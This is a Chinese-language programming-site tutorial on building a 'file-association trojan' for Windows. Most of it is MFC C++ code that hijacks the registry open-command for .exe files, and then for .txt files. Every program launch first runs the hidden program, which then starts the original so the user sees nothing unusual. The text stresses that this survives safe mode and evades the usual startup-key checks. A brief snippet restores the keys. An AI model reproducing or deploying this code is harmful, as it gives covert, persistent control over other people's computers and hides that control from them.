程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> 關於C++ >> 文件關聯型木馬的編程思路

文件關聯型木馬的編程思路

編輯:關於C++

我們知道一般情況下想在開機啟動程序,就要把程序寫在注冊表中的

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

等環境中,由於這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護模式這些程序是不會運行的,但是如果我們把我們的程序在注冊表中進行了關聯卻收到了很好的結果。

在注冊表HKEY_CLASSES_ROOT\exefile\shell\open\command中的值就是可執行程序*.exe

文件的關聯處,缺省為“"%1"

%*”,如果把這個程序改為我們的木馬程序,那樣的話,每執行一個可執行程序就會執行我們的程序,而不會再執行原有的程序,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動後,再執行原有的程序,這樣對於一般的人來看好像什麼事也沒發生過。好了心動不如行動,我們開始動手做一個吧。

l 首先用vc建立一個基於對話框的程序srart

在CstartDlg加入公有變量 HANDLE hMutex;防止我們的木馬運行多次。

l 在CStartDlg::OnInitDialog()中加入如下函數:

CString str;
str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數
const char *MutexObject="MyStart";//建立互斥對象
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發現同一程序已經運行,則退出
}
if(str!="")
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch=='\\')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mid(1);
//上面的函數是把字符串中所有的”\”變為”\\”
char str1[]="\"%1\" %*";
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);
//
在執行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執行我們的木馬程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程序
}
//在程序執行完成後,再把注冊表改為我們要啟動的木馬程序的
TCHAR str2[256];
// 得到程序全路徑名
GetModuleFileName( NULL, str2, 255 );
strcat(str2," \"%1\" %*");
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
//經過上述過程只要程序一運行就會執行我們的start
程序了。即使是在安全模式下只要執行可執行程序就會運行我們的程序了。

同樣的我們也可以將其它文件進行關聯,例如將文本文件進行關聯,在CStartDlg::OnInitDialog()中重新加下代碼

CString str;
str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數
const char *MutexObject="MyStart";//建立互斥對象
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發現同一程序已經運行,則退出
}
if(str.Find("txt")!=-1)
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch=='\\')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mid(1);
//上面的函數是把字符串中的"\"變為"\\"
char str1[]="\"%1\" %*";
//

在執行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執行我們的木馬程序。

ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//執行原有的程序
}
//在程序執行完成後,再把注冊表改為我們要啟動的木馬程序的
TCHAR str2[256];
// 得到程序全路徑名
GetModuleFileName( NULL, str2, 255 );
strcat(str2," \"%1\" %*");
::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程序一運行就會執行我們的start 程序了。

當然了這些程序在自己的機器上運行後還是要恢復的下面的函數就可以幫助進行恢復了

char str2[]="NOTEPAD.EXE %1";
::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
char str1[]="\"%1\" %*";
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

當然了這個程序在win98下運行比較正常,在win2000下無法打開桌面上的文件夾,再也就沒什麼問題了。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved